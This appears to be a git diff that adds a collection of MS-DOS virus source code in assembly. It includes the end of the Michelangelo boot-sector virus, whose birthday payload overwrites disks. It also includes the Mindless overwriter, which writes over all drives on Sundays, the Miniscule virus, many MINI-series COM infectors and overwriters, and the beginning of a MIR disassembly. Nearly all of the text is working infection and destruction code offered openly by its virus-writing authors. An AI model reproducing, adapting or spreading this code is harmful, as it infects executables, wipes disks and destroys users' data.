[OR13SEG],ES ; interrupt table, + MOV CX,O PARTTBL ; Relocate code, + MOV SI,OFSFRM0 ; + XOR DI,DI ; + CLD ; + REP MOVSB ; + JMP D P CS:[SHDWRELOCOFS] ; Jmp to FRSTRLCTD (relo- + ; cated code)(BUGGY) + ; +FRSTRLCTD: XOR AX,AX ; Reset the disk system + MOV ES,AX ; + INT 13 ; + MOV_S DS,CS ; ES = 0; DS = CS; + MOV AX,wREAD v 1 ; AH = 'Read', AL = # to read + MOV BX,OFSFRM0 ; ES:BX = 0:7C00 = xfer address + MOV CX,[CYLSEG] ; CH = cylinder #, CL = sector # + ; + CMP CX,+07 ; Booted from winchester drive? + JNZ @F ; jmp if not + MOV DX,0000 v WINCHESTER1 ; DH = head 0, DL = drive C + INT 13 ; read the original boot sector + JMP S BOOTNOW ; and jmp + ; + @@: MOV CX,[CYLSEG] ; adjust cylinder/sector #s + MOV DX,0100 ; DH = head 1, DL = drive A + INT 13 ; and read the sector ... + JB BOOTNOW ; (jmp on error, else continue) + MOV_S ES,CS ; ES = CS; + MOV AX,wREAD v 1 ; read partition table of 1st + MOV BX,O DTA ; hard disk into buffer located + MOV CX,0001 ; just after the relocated code + MOV DX,0000 v WINCHESTER1 ; + INT 13 ; + JB BOOTNOW ; (jmp on error, else continue) + XOR SI,SI ; + CLD ; test if hard disk is already + LODSW ; infected by comparing the 1st + CMP AX,[BX] ; four bytes, if these are + JNZ INFECT_PARTTBL ; identical assume that the + LODSW ; hard disk already is infected + CMP AX,[BX+02] ; and continue, else jmp to + JNZ INFECT_PARTTBL ; infect procedure + ; +BOOTNOW: XOR CX,CX ; read date from real time clock + MOV AH,04 ; (will _not_ work on old BIOSes + INT 1A ; that do not implement it) + CMP DX,MICHELANGELO ; jmp if today is the + JZ BIRTHDAY ; birthday of MICHELANGELO + RETF ; 'return' to original boot sec- + ; tor code + ; +; ----------------------------------------------------------------------------- + ; +BIRTHDAY: XOR DX,DX ; DH = head 0; DL = drive A + MOV CX,0001 ; CH = cylinder 0; CL = sector 1 +BIRTHDAY_LOOP: MOV AX,wWRITE v 9 ; AH = 'Write'; AL = # of sectrs + MOV SI,[CYLSEG] ; adjust AL ( # of sectors) and + CMP SI,+03 ; DL (drive code) depending on + JZ @F ; the type of the current boot + MOV AL,0E ; disk + CMP SI,+0E ; + JZ @F ; + MOV DL,WINCHESTER1 ; + MOV B P [HEADS],04 ; + MOV AL,11 ; + @@: MOV BX,5000 ; ES:BX -> 'Buffer' = 5000:5000 + MOV ES,BX ; + INT 13 ; + JNB @F ; + XOR AH,AH ; reset disk system if an error + INT 13 ; occured + @@: INC DH ; increment head (DH) + CMP DH,[HEADS] ; head < maxhead? continue if + JB BIRTHDAY_LOOP ; equal, else loop + XOR DH,DH ; + INC CH ; increment cylinder and loop + JMP BIRTHDAY_LOOP ; ( goodbye data - cu never ) + ; +; ----------------------------------------------------------------------------- + ; +INFECT_PARTTBL: MOV CX,0007 ; It's an HD, take sector 7 to + MOV [CYLSEG],CX ; save the original partition + MOV AX,wWRITE v 1 ; table and write it to disk + MOV DX,0000 v WINCHESTER1 ; + INT 13 ; + JB BOOTNOW ; jmp on error + MOV SI,O PARTTBL + SECSIZE ; copy partition informa- + MOV DI,O PARTTBL ; tion to the end of MICHI + MOV CX,0021 ; + REP MOVSW ; + MOV AX,wWRITE v 1 ; and write MICHI to the first + XOR BX,BX ; sector of the hard disk ... + INC CL ; + INT 13 ; + JMP BOOTNOW ; + ; +; ----------------------------------------------------------------------------- + ; + ORG SECSIZE - 2 ; Bootblock / partition table / + DB 055,0AA ; ROM signature + ; +; ----------------------------------------------------------------------------- + +TEXT ENDS + +END START diff --git a/m/MICRO29.ASM b/m/MICRO29.ASM new file mode 100755 index 0000000..9584941 --- /dev/null +++ b/m/MICRO29.ASM @@ -0,0 +1,24 @@ +; ############################################################################# +; ### ### +; ### M i C R O 29 ### +; ### ### +; ### By ### +; ### ### +; ### Dreamer / Demoralized Youth ### +; ### ### +; ############################################################################# + + MOV AH,4Eh ;Dos Universal: FIND FIRST + MOV DX,OFFSET PATT + INT 21h + MOV AX,3D02h ;Dos Universal: OPEN HANDLE + MOV DX,9Eh + INT 21h + XCHG AX,BX + MOV AH,40h ;Dos Universal: WRITE TO HANDLE + ADD DX,62h + INT 21h + RET + +PATT DB '*.C*',0 + \ No newline at end of file diff --git a/m/MINDLESS.ASM b/m/MINDLESS.ASM new file mode 100755 index 0000000..99c2d87 --- /dev/null +++ b/m/MINDLESS.ASM @@ -0,0 +1,228 @@ +; The Mindless V1.0 Virus +; +; Type: *.COM Overwriter +; +; Programmer: Natas Kaupas + +; Notes: +; +; Read the texts that come with this for all of the necessary +; info...if you've got any questions contact me on any YAM Dist. Sites. +; +; I Couldn't Have Made This Without: +; +; Soltan Griss -Kode4 +; Data Disruptor -encrypted part +; Mr. Mike -typematic delay thing +; And Everyone I Forgot! + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h + + +MINDL proc far +start label near + db 0E9h,00h,00h + +vstart equ $ + + mov cx,09EBh ;debug killer + mov ax,0FE05h ; + jmp $-2 ; + add ah,03Bh ; + jmp $-10 ; + + push ds ;save old data segment + sub ax,ax ;put zero in ax + push ax ;save it on stack + + mov ah,2ah ;get date + int 21h + cmp al,0 ;is it a Sunday? + jne rater ;no...don't format then + +doom: + mov ax,3301h ;turn off ^C Check + xor dl,dl ;0 + int 21h + + mov cx,lident ;this all has to do with the encrypted + mov si,offset ident ;message + mov di,offset dest ; +doshit: + mov al,ds:[si] ;unencrypt message + mov temp,al ; + xor byte ptr ds:[temp],01h ; + mov al,temp ; + mov [di],al ; + inc si ; + inc di ; + loop doshit ;loop back and finish it +doomb: + cmp drive,27 ;format all drives + jge boot ;done...then end (boot) + pushf ;push flags on + mov al,drive ;find drive + mov cx,sectors ;find sectors + mov dx,0 ;start at sector 0 + mov bx,offset dest ;write encrypted message + int 26h ;format + popf ;pop flags off + inc drive ;go up to next drive + jmp doomb ;repeat + +;this was originally going to boot...but for some reason it couldn't format in +;time (before the boot), so it didn't format...oh well. + +boot: + mov dl,2ch ;get system time + int 21h + and dl,0Fh ;AND 100th seconds by 0Fh + or dl,dl ;0? + jz locker ;yes..then lock up system + + mov cx,1980 ;date, 1980 + mov dx,0 ;mon/day, 0 + mov ah,2Bh ;set date + int 21h + mov cx,0 ;hrs/min, 0 + mov dx,0 ;sec, 0 + mov ah,2Dh ;set time + int 21h + mov ax,3301h ;turn ^C Check back on + mov dl,1 ;1 + int 21h + mov ax,4c00h ;end with error message 00 + int 21h + +locker: + jmp $ ;lock up computer + +rater: + mov al,dl + mov dl,0c0h ;unkown ms, really grinds on mine though! + jz valid ;it must be around 15ms + ;which is slow considering default is 9ms + ;and most floppies can actually go under 6ms + +valid: + push ds ;Save the data segment + mov bx,78h ;point to pointer for floppy drive tables + mov ax,0 + mov ds,ax ;set to segment 0 + mov ax,[bx] ;get the pointer + mov bx,ax ;into the bx register + mov al,[bx] ;now get the present step rate + and al,0fh ;remove the old step rate + or al,dl ;put in the new step rate + mov [bx],al ;and put it back where it goes + mov ah,0 ;now call on the BIOS to + int 13h ;reload the set floppy disk controller + pop ds ;Reset the Data Segment + +go_on: + + push ds ;save present data segment + + mov bx,78h ;point to pointer for floppy drive tables + mov ax,0 + mov ds,ax ;set to segment 0 + mov ax,[bx] ;get the pointer + mov bx,ax ;into the bx register + mov al,[bx] ;now get the step rate + pop ds + push ax ;save the step rate on the stack + + +typematic: + mov bl,repeat ;get the parameters + mov bh,init ; + mov ax,305h ;set typematic rate and delay + int 16h ; + xor al,al ;errorlevel = 0 + +n_start: mov ah,4Eh ;Find first Com file in directory + mov dx,offset filename ;use "*.com" + int 21h + +Back: + mov ah,43h ;get rid of read only protection + mov al,0 ; + mov dx,9eh ; + int 21h ; + mov ah,43h ; + mov al,01 ; + and cx,11111110b ; + int 21h ; + + mov ax,3D01h ;Open file for writing + mov dx,9Eh ;get file name from file data area + int 21h + + mov bx,ax ;save handle in bx + mov ah,57h ;get time date + mov al,0 + int 21h + + push cx ;put in stack for later + push dx + + + mov dx,100h ;Start writing at 100h + mov cx,(vend-vstart) ;write ?? bytes + mov ah,40h ;Write Data into the file + int 21h + + + pop dx ;Restore old dates and times + pop cx + mov ah,57h + mov al,01h + int 21h + + + + mov ah,3Eh ;Close the file + int 21h + + mov ah,4Fh ;Find Next file + int 21h + + jnc Back + +done: + + int 20h ;Terminate Program + +V_Length equ vend-vstart + +drive db ? +sectors dw 456 + +filename db "*.c*",0 + +ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10 + db "Uid!Lhoemdrr!Whstr!w0/1!",13,10 + +;encrypted message: +;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10 +; db "The Mindless Virus v1.0 ",13,10 + +lident equ $-ident +dest db [lident-1/2] dup (?) +temp db 0 + +repeat equ 250 +init equ 0 + +mindl endp + +vend equ $ + +seg_a ends + + end start + + + \ No newline at end of file diff --git a/m/MINI-35.ASM b/m/MINI-35.ASM new file mode 100755 index 0000000..f5428b3 --- /dev/null +++ b/m/MINI-35.ASM @@ -0,0 +1,59 @@ +; MINI-35 is Copyright (C) by Line Noise 1992... +; You are allowed to use this code in your own +; programs if you want, you are allowed to +; give this source away, sell it or whatever... +; None of the members of Line Noise should be held +; responsible for the consequences of the use +; of this program.... +; Use this program at your own risk... +; Iow if you use this code, you agree with the above... +; The MINI-35 is based upon the MINI-45 from bulgaria(?). +; If anybody manages to shrink the code even more then +; leave me(Dark Wolf) a message at your nearest Virus BBS... +; +; Greetings from Dark Wolf/Line Noise + + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +MINI PROC + +START: + MOV AH,4Eh + MOV DX,OFFSET FMATCH ;address to file match + INT 21h ;DOS int, ah=function 4Eh + ;find 1st filenam match@DS:DX + MOV AX,3D02h ;02=for read & write... + MOV DX,9Eh ;address to filename... + INT 21h ;DOS Services ah=function 3Dh + ;open file, AL=mode,name@DS:DX + XCHG AX,BX ;BX = handle now + MOV DX,100h + MOV AH,40h ;Function 40h, write file + MOV CL,35 ;number of bytes to write + INT 21h ;CX=bytes, to DS:DX + ;BX=file handle + + MOV AH,3Eh ;function 3Eh, close file + INT 21h ;BX=file handle + + RETN + +FMATCH: DB '*.C*',0 ;The virus didn't want to + ;work when I changed this + ;to *.* or *... + ;WHY NOT?! Anybody gotta + ;hint on this?! + +MINI ENDP + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/m/MINI-42B.ASM b/m/MINI-42B.ASM new file mode 100755 index 0000000..ea72c4e --- /dev/null +++ b/m/MINI-42B.ASM @@ -0,0 +1,42 @@ +.model tiny ;Sets memory model for TASM +.radix 16 ;Sets default number system to hexidecimal (base 16) +.code ;starts code section + + org 100 ;makes program begin at 100h, i.e. a .COM file + +start: ;beginning label + + mov ah,4e ;set ah to 4e, sets function called by int 21 + ;to find first match + mov dx,offset file_mask ;sets search to look for *.com + + search: + int 21 ;executes find first match function + jc quit ;if there aren't any files, ends + + + mov ax,3d02 ;open file read/write mode + mov dx,9e ;pointer to name found by findfirst + int 21 + + xchg ax,bx ;moves file handle to bx from ax + mov ah,40 ;sets ah to write to file function + mov cl,[ender-start] ;overwrites file + mov dx,100 ;starting address for coms, write from + int 21 ;beginning of virus + + + mov ah,3e + int 21 ;closes file handle + + mov ah,4f + jmp short search ;jumps back set to find next + + quit: + int 20 ;ends program + +file_mask db '*.c*',0 ;file mask to match to programs + +ender: ;label for size calculation + +end start ;end of code diff --git a/m/MINI-45.ASM b/m/MINI-45.ASM new file mode 100755 index 0000000..11f3da6 --- /dev/null +++ b/m/MINI-45.ASM @@ -0,0 +1,50 @@ +;*************************************************************** +; DISASSEMBLY of the MINI-45 VIRUS +;*************************************************************** +; FIND .COM FILE TO INFECT +;*************************************************************** + MOV DX, 127h ;filehandle search criteria-27bytes + ;away from beg. of file + MOV AH, 4Eh ;setup for Dos function-find file + INT 21h ;search for first file match + JB FILESPEC ;jump below and return +;**************************************************************** +; OPEN FILE +;**************************************************************** +FIRST_FILE: + MOV DX, 009Eh ;pointer to asciiz file spec + MOV AX, 3D02h ;moving 3d into ah=call dos to open file + ;moving 02 into al=we want read\write + ;access + INT 21h ;call dos function and open file. + ;file handle found is put in ax register + JB NEXT_MATCH ;search for next match +;**************************************************************** +; WRITE VIRUS CODE TO FILE +;**************************************************************** + XCHG AX,BX ;put retrieved file handle from 3d open + ;call into bx so it can be used for + ;write function. + MOV DX, 0100h ;point to buffer of data to write, i.e. + ;to myself + MOV CX, 002Dh ;#of bytes to write. 45d bytes + MOV AH, 40h ;setup write to file dos function + INT 21h ;write to file indicated in bx +;****************************************************************** +; CLOSE FILE +;****************************************************************** + MOV AH, 3Eh ;setup for dos function to close file + INT 21h ;close file +;****************************************************************** +; FIND NEXT FILE MATCH +;****************************************************************** +NEXT MATCH: + MOV AH, 4Fh ;search for next file match + JMP FIRST_FILE ;return above +;****************************************************************** +; +FILESPEC: + db '*.com' + db 00 + + \ No newline at end of file diff --git a/m/MINI-68.ASM b/m/MINI-68.ASM new file mode 100755 index 0000000..085f54c --- /dev/null +++ b/m/MINI-68.ASM @@ -0,0 +1,64 @@ +; DeathHog, (will defeat read-only files and appends itself to all +; files) +; Originally based upon DeathCow (C) 1991 by Nowhere Man and [NuKE] WaErZ +; r/w access, nuisance routines supplied by KOUCH +; +; Appended by Kouch, derived from DeathCow/Define (author unknown) + + +virus_length equ finish - start + + code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +start label near + +main proc near + mov ah,04Eh ; DOS find first file function + mov dx,offset file_spec ; DX points to "*.*" - any file + int 021h + +infect_file : mov ah,43H ;the beginning of this + mov al,0 ;routine gets the file's + mov dx,09Eh ;attribute and changes it + int 21H ;to r/w access so that when + ;it comes time to open the + mov ah,43H ;file, the virus can easily + mov al,1 ;defeat files with a 'read only' + mov dx,09Eh ;attribute. It leaves the file r/w, + mov cl,0 ;because who checks that, anyway? + int 21H + + mov ax,03D01h ; DOS open file function, write-only + mov dx,09Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cl,virus_length ; CL holds # of bytes to write + mov dx,offset main ; DX points to start of code + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ah,04Fh ; DOS find next file function + int 021h + jnc infect_file ; Infect next file, if found + + mov ah,31h ;insert 480K memory balloon + mov dx,7530h ;for nuisance value + int 21H ;it's big enough so 'out of + ;memory' messages will start cropping up quickly + ; RETurn to DOS + +file_spec db "*.*",0 ; Files to infect: apped to all files +main endp + +finish label near + + code ends + end main diff --git a/m/MINI111.ASM b/m/MINI111.ASM new file mode 100755 index 0000000..c612889 --- /dev/null +++ b/m/MINI111.ASM @@ -0,0 +1,113 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ eind - start +FILNAM equ 69 + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + mov dh,0FF ;set DTA to FF80 + call setDTA + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + cwd ;set DTA to 0080 and quit + jc setDTA + + mov dx,0FF9Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl,FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +setDTA: mov dl,80 + mov ah,1A + int 21 + ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +eind: + +cseg ends + end begin + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/m/MINI357.ASM b/m/MINI357.ASM new file mode 100755 index 0000000..2e1c785 --- /dev/null +++ b/m/MINI357.ASM @@ -0,0 +1,187 @@ +; +; +; + org 100h + +ofs: + push 100h + push ax + push ds + push es + mov dx,054h-(ofs/16) + mov es,dx + mov ax,es:ofs[0] + cmp ax,ofs[0] + je to_host + + lea si,ofs + mov di,si + mov cx,virlength + rep movsb + + mov ds,es + mov ax,3521h + int 21h + mov word ptr ds:old21[0],bx + mov word ptr ds:old21[2],es + + mov ax,2521h + lea dx,new21 + int 21h + +to_host: pop es + pop ds + mov di,0fe00h + lea si,relocator + mov cx,rellength + rep movsb + jmp 0fe00h + +old21 dd 0 + +relocator: + mov di,100h +orgofs: lea si,orgp + mov cx,virlength + rep movsb + pop ax + ret + +rellength equ $-relocator + +new21: + cmp ah,11h + je findfcb + cmp ah,12h + je findfcb + cmp ah,4eh + je find + cmp ah,4fh + je find + cmp ax,4b00h + je exec + + jmp short dword ptr cs:[old21] + +getdta: + pop si + pushf + push ax + push bx + push es + mov ah,2fh + call dos + jmp short si + +FindFCB: call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + call getdta + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],Virlength ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS + jc Ret1 + call getdta + mov al,es:[bx+16h] + and al,1fh + cmp al,1fh + jne FileOk + sub word ptr es:[bx+1ah],VirLength + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h +FileOk: pop es + pop bx + pop ax + popf +Ret1: retf 2 + +exec: push ax + push bx + push cx + push dx + push ds + push es + mov ax,3d02h + call dos + mov bx,0bc00h + mov ds,bx + mov bh,3fh + xchg ax,bx + xor dx,dx + mov cx,virlength + call dos + cmp word ptr ds:[0],'ZM' + je exe + cmp word ptr ds:[0],0068h ; push 100 + jne noexe +exe: mov ah,3eh + call dos + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + jmp short dword ptr cs:[old21] + +noexe: mov ax,4202h + xor cx,cx + xor dx,dx + call dos + cmp ax,0fd00h + jae exe + cmp ax,virlength+10 + jb exe + inc ah + mov word ptr cs:orgofs[1],ax + + mov ax,5700h + call dos + or cx,1fh + push cx + push dx + + mov ah,40h + xor dx,dx + mov cx,virlength + push cx + call dos + + mov ax,4200h + xor cx,cx + xor dx,dx + call dos + + mov ah,40h + mov ds,cs + lea dx,ofs + pop cx + call dos + mov ax,5701h + pop dx + pop cx + call dos + + jmp short exe + +dos: pushf + call dword ptr cs:[old21] + ret + +virlength equ $-ofs + +orgp: int 20h + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/m/MINI91.ASM b/m/MINI91.ASM new file mode 100755 index 0000000..c21ac6d --- /dev/null +++ b/m/MINI91.ASM @@ -0,0 +1,100 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 55h + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 0E9, 3, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 90 + + push si ;si=0100 + + mov di,si + add si,[si+1] ;si=0103 + push si + movsw + movsb + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file + int 21 + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],0E9h ;infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl, low FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov byte ptr [si], 0E9h + mov word ptr [si+1], di + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: ret + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,03 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/m/MINI98.ASM b/m/MINI98.ASM new file mode 100755 index 0000000..72b0d81 --- /dev/null +++ b/m/MINI98.ASM @@ -0,0 +1,104 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 5C + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + jc return + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cl,low FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/m/MINI99.ASM b/m/MINI99.ASM new file mode 100755 index 0000000..1e07ba2 --- /dev/null +++ b/m/MINI99.ASM @@ -0,0 +1,104 @@ +;**************************************************************************** +;* Mini non-resident virus +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + + .RADIX 16 + +FILELEN equ end - start +FILNAM equ 5Dh + + +;**************************************************************************** +;* Dummy program (infected) +;**************************************************************************** + + org 100h + +begin: db 4Dh + db 0E9, 4, 0 + + +;**************************************************************************** +;* Begin of the virus +;**************************************************************************** + + +start: db 0CDh, 20h, 0, 0 + + push si ;si=0100 + + mov di,si + add si,[si+2] ;si=0104 + push si + movsw + movsw + pop si ;si -> start (buffer) + + lea dx,[si+FILNAM] ;dx -> filename + mov ah,4Eh ;find first file +infloop: int 21 + jc return + + mov dx,009Eh + mov ax,3D02h ;open the file + call int21 + jc exit1 + xchg bx,ax + + mov ah,3fh ;read begin of file + int 21 + + cmp byte ptr [si],4Dh ;EXE or infected COM? + je exit2 + + mov al,2 ;go to end of file + call seek + xchg ax,di + + mov cx,FILELEN ;write program to end of file + mov ah,40h + int 21 + + mov al,0 + call seek + mov word ptr [si],0E94Dh + mov word ptr [si+2],di + + + mov ah,40h + int 21 + +exit2: mov ah,3Eh ;close the file + int 21 + +exit1: mov ah,4Fh ;find next file + jmp short infloop + +seek: mov ah,42 + cwd +int21: xor cx,cx + int 21 + mov cl,04 + mov dx,si + +return: ret + + +;**************************************************************************** +;* Data +;**************************************************************************** + +filename db '*.COM',0 + +end: + +cseg ends + end begin + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/m/MINISCUL.ASM b/m/MINISCUL.ASM new file mode 100755 index 0000000..0853d93 --- /dev/null +++ b/m/MINISCUL.ASM @@ -0,0 +1,77 @@ +; Miniscule: the world's smallest generic virus (only 31 bytes long!) +; (C) 1992 Nowhere Man and [NuKE] WaReZ +; Written on January 22, 1991 + +code segment 'CODE' + assume cs:code,ds:code,es:code,ss:code + + org 0100h + +main proc near + + +; Find the name of the first file and return it in the DTA. No checking +; is done for previous infections, and ANY file (except directory "files") +; will be infected, including data, texts, etc. So either a file is corrupted +; (in the case of data or text) or infected (.EXE and .COM files). Files that +; have the read-only flag set are immune to Miniscule. + + mov ah,04Eh ; DOS find first file function + mov cl,020h ; CX holds attribute mask + mov dx,offset star_dot_com ; DX points to the file mask + int 021h + + +; Open the file that we've found for writing only and put the handle into +; BX (DOS stupidly returns the file handle in AX, but all other DOS functions +; require it to be in AX, so we have to move it). + + mov ax,03D01h ; DOS open file function, w/o + mov dx,009Eh ; DX points to the found file + int 021h + + xchg bx,ax ; BX holds the file handle + + +; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the +; virus) are written into the beginning of the victim. No attempt is made +; to preserve the victim's executability. This also destroys the file's date +; and time, making Miniscule's activity painfully obvious. Also, if the +; victim is smaller than 31 bytes (rare), then it will grow to exactly 31. + + mov ah,040h ; DOS write to file function + dec cx ; CX now holds 01Fh (length) + mov dx,offset main ; DX points to start of code + int 021h + + +; Exit. I chose to use a RET statement here to save one byte (RET is one byte +; long, INT 020h is two), so don't try to compile this as an .EXE file; it +; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED +; .EXE programs will run successfully (unless they are larger than 64k, in +; which case DOS will refuse to run it. + + ret ; RETurn to DOS +main endp + + +; The only data required in this program, and it's only four bytes long. This +; is the file mask that the DOS find first file function will use when +; searching. Do not change this to .EXE (or whatever) because this virus +; is size dependent (if you know what you're doing, go ahead [at you're own +; risk]). + +star_dot_com db "*.*",0 ; File search mask + +finish label near + +code ends + end main + +; There you have it: thirty-one bytes of pure terror -- NOT! As you can +; pretty well guess, this virus is very lame. Due to its poor reproduction, +; it is hardly a threat (hitting one file, if you're lucky), but it works, +; and it fits the definition of a virus. There is no way to make this code +; any smaller (at least under MS-DOS), except if you made it only infect +; one specific file (and the file would have to have a one- or two-byte name, +; too), and that would be next to useless. \ No newline at end of file diff --git a/m/MIR.ASM b/m/MIR.ASM new file mode 100755 index 0000000..2aa5f90 --- /dev/null +++ b/m/MIR.ASM @@ -0,0 +1,830 @@ +; File: MIR.COM +; File Type: COM +; Processor: 8086/87/88 +; Range: 00100h to 007d3h +; Memory Needed: 2 Kb +; Initial Stack: 0000:fffe +; Entry Point: 0000:0100 +; Subroutines: 11 + +.radix 16 +cseg segment para public 'CODE' + assume cs:cseg,ds:cseg,es:cseg,ss:cseg + org 0100h +; >>>> starts execution here <<<< +o00100 proc far +;----------------------------------------------------- +o00100 db 'M.' ;0000:0100 +d00102 db 'I.R.' ;0000:0102 +d00106 db ' *-*-*-* Sign of the ' ;0000:0106 + db 'time!' ;0000:011b + db 00 ;0000:0120 . +;----------------------------------------------------- + nop + nop + nop + nop + pop dx +m00126: mov bx,es + add bx,10h + add bx,WORD PTR cs:[si+06c8h] + mov WORD PTR cs:[si+0053h],bx + mov bx,WORD PTR cs:[si+06c6h] + mov WORD PTR cs:[si+0051h],bx + mov bx,es + add bx,10h + add bx,WORD PTR cs:[si+06cch] + mov ss,bx + mov sp,WORD PTR cs:[si+06cah] + jmp 0000:0000 +m00155: mov di,0100h + add si,06ceh + movsb ;Mov DS:[SI]->ES:[DI] + movsw ;Mov DS:[SI]->ES:[DI] + mov sp,WORD PTR [d00006] + xor bx,bx ;Load register w/ 0 + push bx + jmp WORD PTR [si-0bh] + call s1 ;<0016b> +o00100 endp + +;<0016b> +s1 proc near + pop si + sub si,006bh + cld ;Forward String Opers + nop + cmp WORD PTR cs:[si+06ceh],5a4dh + jz b0018b ;Jump if equal (ZF=1) + cli ;Turn OFF Interrupts + nop + mov sp,si + add sp,07d1h + sti ;Turn ON Interrupts + nop + cmp sp,WORD PTR [d00006] + jnb m00155 ;Jump if >= (no sign) +b0018b: push ax + push es + nop + push si + push ds + mov di,si + xor ax,ax ;Load register w/ 0 + nop + push ax + mov ds,ax + les ax,DWORD PTR [d0004c] + nop + mov WORD PTR cs:[si+06bdh],ax + mov WORD PTR cs:[si+06bfh],es + mov WORD PTR cs:[si+06b8h],ax + nop + mov WORD PTR cs:[si+06bah],es + mov ax,WORD PTR [d00102] + cmp ax,0f000h + nop + jnz b00235 ;Jump not equal(ZF=0) + mov WORD PTR cs:[si+06bah],ax + mov ax,WORD PTR [o00100] + mov WORD PTR cs:[si+06b8h],ax + nop + mov dl,80h + mov ax,WORD PTR [d00106] + cmp ax,0f000h + jz b001f2 ;Jump if equal (ZF=1) + nop + cmp ah,0c8h + jb b00235 ;Jump if < (no sign) + 